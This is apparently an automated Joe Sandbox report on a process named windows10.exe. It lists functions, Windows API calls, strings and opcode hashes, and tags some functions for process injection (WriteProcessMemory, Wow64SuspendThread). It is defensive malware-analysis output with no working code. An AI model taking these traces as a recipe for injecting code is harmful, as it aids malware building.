Instruction Fuzzy Hash: 4851C4726042159FC7159F28D841A6AB7E9EF89350F144A6EF45AD7390EB30DD048BB1

Analysis Process: windows10.exePID: 7416, Parent PID: 7072COMMON

Execution Graph

Execution Coverage:	1.5%
Dynamic/Decrypted Code Coverage:	1.1%
Signature Coverage:	1.1%
Total number of Nodes:	272
Total number of Limit Nodes:	26

Executed Functions

Function 01DBA7C0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 142
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtSetInformationThread.NTDLL ref: 01DBA899

Strings

e, xrefs: 01DBA877

Memory Dump Source

Source File: 0000000E.00000002.2581599388.0000000001DBA000.00000020.00000001.01000000.00000007.sdmp, Offset: 01DBA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1dba000_windows10.jbxd

Similarity

API ID: InformationThread
String ID: e
API String ID: 4046476035-4024072794
Opcode ID: e75d78890c758655ed10d432cdabdfd8fe236bd656487057f6c459c77efb4086
Instruction ID: 1c7e36c046886324a019c581e8f0908421e97bc1221d4aca2d1b8756a26412b3
Opcode Fuzzy Hash: e75d78890c758655ed10d432cdabdfd8fe236bd656487057f6c459c77efb4086
Instruction Fuzzy Hash: 22410B3251865A0BC31DEE28EC440E6B3C6F6C8329B58873DE9DBC3686E33490578BC1

Function 01B3E928 Relevance: 1.5, APIs: 1, Instructions: 14nativeCOMMON

Download Yara Rule

APIs

NtQuerySystemInformation.NTDLL ref: 01B3E92C

Memory Dump Source

Source File: 0000000E.00000002.2581599388.0000000001B3C000.00000020.00000001.01000000.00000007.sdmp, Offset: 01B3C000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1b3c000_windows10.jbxd

Similarity

API ID: InformationQuerySystem
String ID:
API String ID: 3562636166-0
Opcode ID: 1f3a8111c5d2d5b92133da034e7bb3420c2438cf33a869b2a462d3ffe8cf3b79
Instruction ID: e1747c2b93f761410ad8b9a48995a26d96c05f38b170a4cfc08710a0117596dd
Opcode Fuzzy Hash: 1f3a8111c5d2d5b92133da034e7bb3420c2438cf33a869b2a462d3ffe8cf3b79
Instruction Fuzzy Hash: 2ED05E76608224DFC704DE9DB4C04C9B3B1AB88350B604426E965DB224D7306E6A8780

Function 008FDCF8 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2500868091.00000000008F1000.00000020.00000001.01000000.00000007.sdmp, Offset: 008F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_8f1000_windows10.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab534339ebf2f26df59a6dabcf4891875b70cb508f85659e8086122488c55be5
Instruction ID: 8a478df58015df144de217e6e04deac4fc5e852b6df831b2e240d76c361782ad
Opcode Fuzzy Hash: ab534339ebf2f26df59a6dabcf4891875b70cb508f85659e8086122488c55be5
Instruction Fuzzy Hash: A5A01210408C000AC404A72C4C4380F35807D81210FC40214B55CE5682EA06856803D7

Function 00B192FC Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 112
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalAddAtomW.KERNEL32(00000000), ref: 00B19350

Part of subcall function 00B19070: SetErrorMode.KERNELBASE(00008000), ref: 00B19084
Part of subcall function 00B19070: SetErrorMode.KERNELBASE(?,00B190D0), ref: 00B190C3

Part of subcall function 00BAE394: LoadIconW.USER32(00BD4040,MAINICON,?,?,?,00B19410), ref: 00BAE4BC

Strings

ControlOfs%.8X%.8X, xrefs: 00B1937F
Delphi%.8X, xrefs: 00B1932E
AnimateWindow, xrefs: 00B1946B
DelphiRM_GetObjectInstance, xrefs: 00B193AC
USER32, xrefs: 00B19439

Memory Dump Source

Source File: 0000000E.00000002.2500868091.0000000000ACD000.00000020.00000001.01000000.00000007.sdmp, Offset: 00ACD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_acd000_windows10.jbxd

Similarity

API ID: ErrorMode$AtomGlobalIconLoad
String ID: AnimateWindow$ControlOfs%.8X%.8X$Delphi%.8X$DelphiRM_GetObjectInstance$USER32
API String ID: 1953398334-1139167764
Opcode ID: 1c95ce4c36e97c6fcfdb48dcd49fe51db96fc80a9add1da6eed97a1b8032b9d3
Instruction ID: eb676cbad24aaa0b91f0ea24cc2153ef68e0799743882eefd44177d352ddbfe0
Opcode Fuzzy Hash: 1c95ce4c36e97c6fcfdb48dcd49fe51db96fc80a9add1da6eed97a1b8032b9d3
Instruction Fuzzy Hash: 0B4171746102459FCB00EFB8ECA2A9DB7E8FB55300B404475F514D73A2EF349A44CB61

Function 00BFA83B Relevance: 9.1, APIs: 6, Instructions: 105
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__mtterm.LIBCMT ref: 00BFA8F1

Part of subcall function 00BFE1B4: HeapCreate.KERNELBASE(00000000,00000000,00001000,00000000,?,00BFA850,?), ref: 00BFE1CA

__RTC_Initialize.LIBCMT ref: 00BFA86C
__mtterm.LIBCMT ref: 00BFA88F

Part of subcall function 00BFB649: TlsFree.KERNEL32(00C0C65C,00BFA8F6), ref: 00BFB674

__setenvp.LIBCMT ref: 00BFA89F
__cinit.LIBCMT ref: 00BFA8AA
__freeptd.LIBCMT ref: 00BFA961

Part of subcall function 00BFB615: TlsGetValue.KERNEL32(?,00BFB784), ref: 00BFB61E
Part of subcall function 00BFB615: TlsSetValue.KERNEL32(00000000), ref: 00BFB63F

Part of subcall function 00BFD6AF: __calloc_impl.LIBCMT ref: 00BFD6C0

Memory Dump Source

Source File: 0000000E.00000002.2542436823.0000000000BF9000.00000020.00000001.01000000.00000007.sdmp, Offset: 00BF9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_bf9000_windows10.jbxd

Similarity

API ID: Value__mtterm$CreateFreeHeapInitialize__calloc_impl__cinit__freeptd__setenvp
String ID:
API String ID: 1549949408-0
Opcode ID: fb9780ff681dc9f49ff86cfa4d65104bd820c53908668b574e8b6565fc10da02
Instruction ID: 884df2f9f6199fd1e90c80bf4ce280ef250f5749e889fec4d8c0049579634dd8
Opcode Fuzzy Hash: fb9780ff681dc9f49ff86cfa4d65104bd820c53908668b574e8b6565fc10da02
Instruction Fuzzy Hash: 5E21C3B150424D999A2D37B19C4273E33D9DE507A0B2185FAFB1CD3092EFA0C84E9563

Function 00BF9748 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 57
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_malloc.LIBCMT ref: 00BF9A18

Part of subcall function 00BFC0B6: __FF_MSGBANNER.LIBCMT ref: 00BFC0D9
Part of subcall function 00BFC0B6: __NMSG_WRITE.LIBCMT ref: 00BFC0E0
Part of subcall function 00BFC0B6: RtlAllocateHeap.NTDLL(00000000,?,00000001), ref: 00BFC12D

std::bad_alloc::bad_alloc.LIBCMT ref: 00BF9A3B

Part of subcall function 00BF9994: std::exception::exception.LIBCMT ref: 00BF99A0

std::bad_exception::bad_exception.LIBCMT ref: 00BF9A4F

Strings

PU', xrefs: 00BF9A5C

Memory Dump Source

Source File: 0000000E.00000002.2542436823.0000000000BF9000.00000020.00000001.01000000.00000007.sdmp, Offset: 00BF9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_bf9000_windows10.jbxd

Similarity

API ID: AllocateHeap_mallocstd::bad_alloc::bad_allocstd::bad_exception::bad_exceptionstd::exception::exception
String ID: PU'
API String ID: 832318072-4254717615
Opcode ID: d8754849175cb0c8c04bd20d674257c9db1b8b7398be57d02fddf9b9a0aa5d64
Instruction ID: 3648112d81437b8c644b9c83ee2dc51648abf5ca7bd2a91fbe63d0fa4b4afe67
Opcode Fuzzy Hash: d8754849175cb0c8c04bd20d674257c9db1b8b7398be57d02fddf9b9a0aa5d64
Instruction Fuzzy Hash: 22014C3140420D6ACF34B765D802BBE3BD8CB80728B1480F5FA05975E2DE71DD8EC691

Function 00BAD1A8 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 125
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNELBASE(80000002,00000000), ref: 00BAD266

Strings

System\CurrentControlSet\Control\Keyboard Layouts\%.8x, xrefs: 00BAD250
layout text, xrefs: 00BAD297

Memory Dump Source

Source File: 0000000E.00000002.2500868091.0000000000ACD000.00000020.00000001.01000000.00000007.sdmp, Offset: 00ACD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_acd000_windows10.jbxd

Similarity

API ID: Open
String ID: System\CurrentControlSet\Control\Keyboard Layouts\%.8x$layout text
API String ID: 71445658-2652665750
Opcode ID: 1e904e6baa49bde0ca5e0c38124d7ac03643cc4edf114ff24013146a2408addd
Instruction ID: 49f2b7b088fac2598c3a4c1a948244a5982aef24147e978703b2f46d72a5fa7d
Opcode Fuzzy Hash: 1e904e6baa49bde0ca5e0c38124d7ac03643cc4edf114ff24013146a2408addd
Instruction Fuzzy Hash: 73412874A04208AFDB11DF98C982BADB7F9FB4A300F5040E5EA05E7651E770AF44CB66

Function 00B19070 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00008000), ref: 00B19084
SetErrorMode.KERNELBASE(?,00B190D0), ref: 00B190C3

Strings

imm32.dll, xrefs: 00B190A3

Memory Dump Source

Source File: 0000000E.00000002.2500868091.0000000000ACD000.00000020.00000001.01000000.00000007.sdmp, Offset: 00ACD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_acd000_windows10.jbxd

Similarity

API ID: ErrorMode
String ID: imm32.dll
API String ID: 2340568224-1815517138
Opcode ID: f8df4e2d89f544a77f160caf0bb080919012a3fb0f62eea1a2ae0f2a74ade47c
Instruction ID: 816a1f0bcc38b5fe124907dc713d354a62ea22c1b5ef718e55cc8bac2181f8fc
Opcode Fuzzy Hash: f8df4e2d89f544a77f160caf0bb080919012a3fb0f62eea1a2ae0f2a74ade47c
Instruction Fuzzy Hash: F3F0E271608744AFD711DB68AC36B65B7ECD348B10FD2C4E6F008D39E0EA759980CA20

Function 00BAE394 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 150
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadIconW.USER32(00BD4040,MAINICON,?,?,?,00B19410), ref: 00BAE4BC

Strings

MAINICON, xrefs: 00BAE4AF

Memory Dump Source

Source File: 0000000E.00000002.2500868091.0000000000ACD000.00000020.00000001.01000000.00000007.sdmp, Offset: 00ACD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_acd000_windows10.jbxd

Similarity

API ID: IconLoad
String ID: MAINICON
API String ID: 2457776203-2283262055
Opcode ID: 6b7a2074d793824c5334a84bf81de091391bf24dc4a4f86d8c4c0ec8d5010782
Instruction ID: 2524b4a6ddd932bf2146fc068aed1bf61bda67de64a1989dbd01c35ad8abf018
Opcode Fuzzy Hash: 6b7a2074d793824c5334a84bf81de091391bf24dc4a4f86d8c4c0ec8d5010782
Instruction Fuzzy Hash: E4612B70A042848FDB01EF38D885B957BE5AB15304F4884F9E808CF357DBB59948CB61

Function 00BC0B40 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 70
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(00000000,00000000), ref: 00BC0BD8

Strings

D, xrefs: 00BC0BA7

Memory Dump Source

Source File: 0000000E.00000002.2500868091.0000000000ACD000.00000020.00000001.01000000.00000007.sdmp, Offset: 00ACD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_acd000_windows10.jbxd

Similarity

API ID: CreateProcess
String ID: D
API String ID: 963392458-2746444292
Opcode ID: 4d129efe1de52e25c021b078a40997a984f7ec8fc09012162e748cffea817208
Instruction ID: 659a9e03fea98522073b32529a860c553242b7087e3d9cc3ac484c65a7cf7499
Opcode Fuzzy Hash: 4d129efe1de52e25c021b078a40997a984f7ec8fc09012162e748cffea817208
Instruction Fuzzy Hash: 7B214D70A1420CAFDB04EBE8C852BEEB7FDFB49700F404069F614E7291DB74AA048B55

Function 0091AF3C Relevance: 3.1, APIs: 2, Instructions: 77
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileVersionInfoSizeW.KERNELBASE(00000000), ref: 0091AF7E
GetFileVersionInfoW.KERNELBASE(00000000), ref: 0091AFB3

Memory Dump Source

Source File: 0000000E.00000002.2500868091.000000000090B000.00000020.00000001.01000000.00000007.sdmp, Offset: 0090B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_90b000_windows10.jbxd

Similarity

API ID: FileInfoVersion$Size
String ID:
API String ID: 2104008232-0
Opcode ID: 9025fdb617e3be68b2b7e1b7475ed71cc066d4922fcdfae73c8a665c1ecf6868
Instruction ID: fb878bab0baaefd6573d80c1c4d3e864ee8750e931245e6ab9a4d02e05b557ce
Opcode Fuzzy Hash: 9025fdb617e3be68b2b7e1b7475ed71cc066d4922fcdfae73c8a665c1ecf6868
Instruction Fuzzy Hash: 1D213DB1B0060DAFDB15DFB8CC829AEB7FCEB89310B514471B610E3691EB34DE419622

Function 00BEB7A5 Relevance: 3.0, APIs: 2, Instructions: 46
threadinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SuspendThread.KERNEL32 ref: 00BEB7A5
WriteProcessMemory.KERNELBASE(?,000000FF,?,?,00000005,00000000), ref: 00BEB7F5

Memory Dump Source

Source File: 0000000E.00000002.2542436823.0000000000BEB000.00000020.00000001.01000000.00000007.sdmp, Offset: 00BEB000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_beb000_windows10.jbxd

Similarity

API ID: MemoryProcessSuspendThreadWow64Write
String ID:
API String ID: 2345646855-0
Opcode ID: b7a10879d2066c743689e0833f586f0bbe6c42a46d3e97db13997739e3d29073
Instruction ID: 40c9961fcf1419f8e12237978bbeba16a6154ece73458420c19a78c87e566b62
Opcode Fuzzy Hash: b7a10879d2066c743689e0833f586f0bbe6c42a46d3e97db13997739e3d29073
Instruction Fuzzy Hash: 87F0593060014D26EB18987D8C05FEEBADBCBC1B30F258369B925C66D4E63088044292

Function 00CFCC3B Relevance: 2.6, Strings: 2, Instructions: 131
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

P, xrefs: 00CFCC07
t, xrefs: 00CFCC41

Memory Dump Source

Source File: 0000000E.00000002.2544611345.0000000000CFC000.00000020.00000001.01000000.00000007.sdmp, Offset: 00CFC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_cfc000_windows10.jbxd

Similarity

API ID:
String ID: P$t
API String ID: 0-897426209
Opcode ID: 7fa334fd72bc3d5bf1f73fcfde9ad3b1c31ef972c005667e9749b4e90cf11852
Instruction ID: 825aaadb1ad583cd28f9ed45655f2397a8a52deeeb1896abab6ef442c7b5123e
Opcode Fuzzy Hash: 7fa334fd72bc3d5bf1f73fcfde9ad3b1c31ef972c005667e9749b4e90cf11852
Instruction Fuzzy Hash: 0041EF75E117868FCB168B3889CA5EABF91FF5335071802ADC2D3871D2CB20448ACBC6

Function 00BA7B98 Relevance: 1.7, APIs: 1, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserCallbackDispatcher.NTDLL(00000000,00000000,00000000,00BA7DC8), ref: 00BA7D46

Memory Dump Source

Source File: 0000000E.00000002.2500868091.0000000000ACD000.00000020.00000001.01000000.00000007.sdmp, Offset: 00ACD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_acd000_windows10.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: af63416ba845460bd630a52403bb75e0c9295cbacd8cedc1deada90a47cef615
Instruction ID: c972dfceb7f9d5885886ac9c16fc0218747b7e7f8416ade7e42283158c5cdf4b
Opcode Fuzzy Hash: af63416ba845460bd630a52403bb75e0c9295cbacd8cedc1deada90a47cef615
Instruction Fuzzy Hash: 49518C7064C2445BDB21AB38CC85BAA77D4EF46710F0845F9EC859B297DE74CC8987A0

Function 00BCA114 Relevance: 1.7, APIs: 1, Instructions: 159COMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNELBASE(?), ref: 00BCA1AD

Memory Dump Source

Source File: 0000000E.00000002.2500868091.0000000000BCA000.00000020.00000001.01000000.00000007.sdmp, Offset: 00BCA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_bca000_windows10.jbxd

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 2192b3081a6e02d49413d024947aa247b159940df19549d8d952031f23e1a32b
Instruction ID: 462f3ab7d48d92185eb81351417e236bbc40db4feb3c10684c611fe990435b9d
Opcode Fuzzy Hash: 2192b3081a6e02d49413d024947aa247b159940df19549d8d952031f23e1a32b
Instruction Fuzzy Hash: CC613D346092888BC714DB2CE961A6AB7F2FBC5308F24446FE145CB3A6FA759945CB07

Function 00BAD5D8 Relevance: 1.6, APIs: 1, Instructions: 118COMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000029,00000000,?,00000000,?,00000000,00B9F730,?,00BACC47,00000000,00000000,00BA783C,6E6F4646,?,?,00000000), ref: 00BAD681

Memory Dump Source

Source File: 0000000E.00000002.2500868091.0000000000ACD000.00000020.00000001.01000000.00000007.sdmp, Offset: 00ACD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_acd000_windows10.jbxd

Similarity

API ID: InfoParametersSystem
String ID:
API String ID: 3098949447-0
Opcode ID: 8bfea186d0018943c42780c94403ae4a5a1316809e3b7ea8738cc75c244297ce
Instruction ID: 0fed921bd2ac38893e3fe96d867c73d3c62318e9c4a301da478f94341b3b3cb2
Opcode Fuzzy Hash: 8bfea186d0018943c42780c94403ae4a5a1316809e3b7ea8738cc75c244297ce
Instruction Fuzzy Hash: FD4178306042449FD750FBB8CD82B9A37E9AF85700F5480B1BD0CDB796EE31AD458B65

Function 00BEB7B0 Relevance: 1.5, APIs: 1, Instructions: 44injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,000000FF,?,?,00000005,00000000), ref: 00BEB7F5

Memory Dump Source

Source File: 0000000E.00000002.2542436823.0000000000BEB000.00000020.00000001.01000000.00000007.sdmp, Offset: 00BEB000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_beb000_windows10.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 1bd102d9b38021d0846288fdb63313cc0bd198b63639c95b7f010267bc66bdcc
Instruction ID: ee76aedb72f59dc0e3926972b5e81c1962895cc01c57d2798b633e4b96e18a4b
Opcode Fuzzy Hash: 1bd102d9b38021d0846288fdb63313cc0bd198b63639c95b7f010267bc66bdcc
Instruction Fuzzy Hash: 46F0243174014D26EF248CBE9C05FEEBBDACBC2730F1983AAB919C62D4E67488054292

Function 00BACFFC Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00000000,?,?,?,00B9F730,00BACB5F,?,?,00000000,?,00B193F0), ref: 00BAD036

Memory Dump Source

Source File: 0000000E.00000002.2500868091.0000000000ACD000.00000020.00000001.01000000.00000007.sdmp, Offset: 00ACD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_acd000_windows10.jbxd

Similarity

API ID: CursorLoad
String ID:
API String ID: 3238433803-0
Opcode ID: ec80d4291437f1cdc313cca2f933061946e46ac6139ee6a1d4bb4feb06091a5f
Instruction ID: ec0eb07764ccd192abd4c7c5fa3c8d6469be309d1ee0b73fd9376d68d7e958b7
Opcode Fuzzy Hash: ec80d4291437f1cdc313cca2f933061946e46ac6139ee6a1d4bb4feb06091a5f
Instruction Fuzzy Hash: 64F0A0226092002BE6305A3D4CE0F6AB2C8DBC7330F2003B6F93E976D1DA211C0616A0

Function 00B094B0 Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,?), ref: 00B094EB

Memory Dump Source

Source File: 0000000E.00000002.2500868091.0000000000ACD000.00000020.00000001.01000000.00000007.sdmp, Offset: 00ACD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_acd000_windows10.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 5535dc279ff1e877384e686dd9023c36d18ece0e40eb3ee833c40a88ae434141
Instruction ID: e0bbe715bca3811110881742a92ef003db1fcb23f4917bcbe1fd8e336695c67c
Opcode Fuzzy Hash: 5535dc279ff1e877384e686dd9023c36d18ece0e40eb3ee833c40a88ae434141
Instruction Fuzzy Hash: D4F0DA762047119FC310DF5CC88494BB7E9EF89259F044A59F986DB351C771E814CB92

Function 00BFE1B4 Relevance: 1.5, APIs: 1, Instructions: 21memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapCreate.KERNELBASE(00000000,00000000,00001000,00000000,?,00BFA850,?), ref: 00BFE1CA

Memory Dump Source

Source File: 0000000E.00000002.2542436823.0000000000BF9000.00000020.00000001.01000000.00000007.sdmp, Offset: 00BF9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_bf9000_windows10.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 73d5968a9555f255f0b032fd4359e6ab799f91cc897122815766eabd077f67d4
Instruction ID: 41e07d41a7866f88a5fc85e0df67195a095aa5d7213c4bb9e8372008184b58ee
Opcode Fuzzy Hash: 73d5968a9555f255f0b032fd4359e6ab799f91cc897122815766eabd077f67d4
Instruction Fuzzy Hash: 1AD05E739903096EEB209EB16D05B7A3ACCE384294F104435B91CC6450E670D982C240

Function 00BF9736 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00BF9A18

Part of subcall function 00BFC0B6: __FF_MSGBANNER.LIBCMT ref: 00BFC0D9
Part of subcall function 00BFC0B6: __NMSG_WRITE.LIBCMT ref: 00BFC0E0
Part of subcall function 00BFC0B6: RtlAllocateHeap.NTDLL(00000000,?,00000001), ref: 00BFC12D

Memory Dump Source

Source File: 0000000E.00000002.2542436823.0000000000BF9000.00000020.00000001.01000000.00000007.sdmp, Offset: 00BF9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_bf9000_windows10.jbxd

Similarity

API ID: AllocateHeap_malloc
String ID:
API String ID: 501242067-0
Opcode ID: 323aceba6085630cbbd5596d4d5b77c1767793af26893b7f0b52c0e9e1e2273c
Instruction ID: 682ca603ed6ceb6d0bdb2d006c1a167376308bd4f00a654b538a0d678a9d4654
Opcode Fuzzy Hash: 323aceba6085630cbbd5596d4d5b77c1767793af26893b7f0b52c0e9e1e2273c
Instruction Fuzzy Hash: 5BD0A73104828CE5DA64FA78EC8FA773ADDC98135431440E9FE0597563EE52E44DD1B5

Function 00BE5600 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2542436823.0000000000BE4000.00000020.00000001.01000000.00000007.sdmp, Offset: 00BE4000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_be4000_windows10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 588746909cfa64d80144b76e8fd91b7856a82ff47f490b7588349f52eb20acb1
Instruction ID: 0c6525c6495fc00b5e50baa9f5e18826f0798507f4005766c747eee101d43abf
Opcode Fuzzy Hash: 588746909cfa64d80144b76e8fd91b7856a82ff47f490b7588349f52eb20acb1
Instruction Fuzzy Hash: 4C31CE790187188BC309EF5AD4600BAB3D5FB84300F10462CEED7432A2EF796857DB92

Function 01012596 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544611345.0000000001012000.00000020.00000001.01000000.00000007.sdmp, Offset: 01012000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_1012000_windows10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf4d2842a17e884762e2ba3b62d4c2161b49aa09bb580ee751a4a0e5e11d6f7e
Instruction ID: 22d5026e4ebf2cc43e00b5374db01c593c75803f36a3cfc971a5e68ff007c2bd
Opcode Fuzzy Hash: bf4d2842a17e884762e2ba3b62d4c2161b49aa09bb580ee751a4a0e5e11d6f7e
Instruction Fuzzy Hash: 5A01C03152CB0D4F431DBEE8988907A3285EBD6326F70862DD7C7C7196DA735423E642

Function 00CFCD5C Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544611345.0000000000CFC000.00000020.00000001.01000000.00000007.sdmp, Offset: 00CFC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_cfc000_windows10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 141a431efda3f275782b9303e2120bd369db4d46ed3f9551b093f6bc813fa1b9
Instruction ID: 37e48bee2cf2483a6aae48e6b99662fe92de5924e59467e85b50ea24d2305cb8
Opcode Fuzzy Hash: 141a431efda3f275782b9303e2120bd369db4d46ed3f9551b093f6bc813fa1b9
Instruction Fuzzy Hash: 14D097A2D083030BAB083A341D634C73781EA83364B20410C220386022DE2C0085AE1B

Non-executed Functions

Function 010B5E5A Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544611345.00000000010B5000.00000020.00000001.01000000.00000007.sdmp, Offset: 010B5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_10b5000_windows10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8571f62473c0f6bee81e90d3ef4c2753925064566ce971d5b8e87823bbda94bd
Instruction ID: f932bc9e0d705dbc1b28d57dcd8d985024be1fce122902c11642440eb5a6834d
Opcode Fuzzy Hash: 8571f62473c0f6bee81e90d3ef4c2753925064566ce971d5b8e87823bbda94bd
Instruction Fuzzy Hash: BB21BE3A4047828FCB1EEB7484855E9B773FBA1314710A2BAC4878F7A6CB2544478B11

Function 00BFF18A Relevance: 16.9, APIs: 11, Instructions: 356COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,00000000,?,00000100,?,?,?,?,?,?), ref: 00BFF25A
_malloc.LIBCMT ref: 00BFF293
MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,00000000,?,?,?,00000000,00BF9E02,?,?), ref: 00BFF2C6
MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,00000000,00BF9E02,?,?), ref: 00BFF2E2
MultiByteToWideChar.KERNEL32(?,00000400,00000400,00000000,?,?), ref: 00BFF31C
_malloc.LIBCMT ref: 00BFF355
__freea.LIBCMT ref: 00BFF3AD
__freea.LIBCMT ref: 00BFF3B6
_malloc.LIBCMT ref: 00BFF46B
_memset.LIBCMT ref: 00BFF48D
__freea.LIBCMT ref: 00BFF4D8

Memory Dump Source

Source File: 0000000E.00000002.2542436823.0000000000BF9000.00000020.00000001.01000000.00000007.sdmp, Offset: 00BF9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_bf9000_windows10.jbxd

Similarity

API ID: ByteCharMultiWide$__freea_malloc$_memset
String ID:
API String ID: 3920393152-0
Opcode ID: 42cc1af1854696817feedc0d611dd7528733ca866d5e39edeafd73b5d42928ee
Instruction ID: f83f0302bcc020a4fd21a036fee5dc9113cfac8a9a1ac5c8646cf8dab85bc381
Opcode Fuzzy Hash: 42cc1af1854696817feedc0d611dd7528733ca866d5e39edeafd73b5d42928ee
Instruction Fuzzy Hash: 63C16A7280011FAFCF219FA4DC818BE7BE5EF48354B1545B9FA04A7260D7318EA9DB64

Function 00BFB99D Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

TlsSetValue.KERNEL32(00000000,?,?,00BFA861), ref: 00BFBA60
__init_pointers.LIBCMT ref: 00BFBA6A
__mtterm.LIBCMT ref: 00BFBB20

Part of subcall function 00BFB649: TlsFree.KERNEL32(00C0C65C,00BFA8F6), ref: 00BFB674

Strings

FlsFree, xrefs: 00BFB9EA
KERNEL32.DLL, xrefs: 00BFB9A1, 00BFB9A6, 00BFB9A7, 00BFB9B1
FlsSetValue, xrefs: 00BFB9DD
FlsGetValue, xrefs: 00BFB9D0

Memory Dump Source

Source File: 0000000E.00000002.2542436823.0000000000BF9000.00000020.00000001.01000000.00000007.sdmp, Offset: 00BF9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_bf9000_windows10.jbxd

Similarity

API ID: FreeValue__init_pointers__mtterm
String ID: FlsFree$FlsGetValue$FlsSetValue$KERNEL32.DLL
API String ID: 3928193026-1030280904
Opcode ID: 4a84ca7cf36528e67e2e1676d9269a053a4a1b3fed6f2304ce9c5246bea32368
Instruction ID: 73d3996e158e0e2f7c7108acb65517ea36325aec8bc8f622bc491d4ce1e3f872
Opcode Fuzzy Hash: 4a84ca7cf36528e67e2e1676d9269a053a4a1b3fed6f2304ce9c5246bea32368
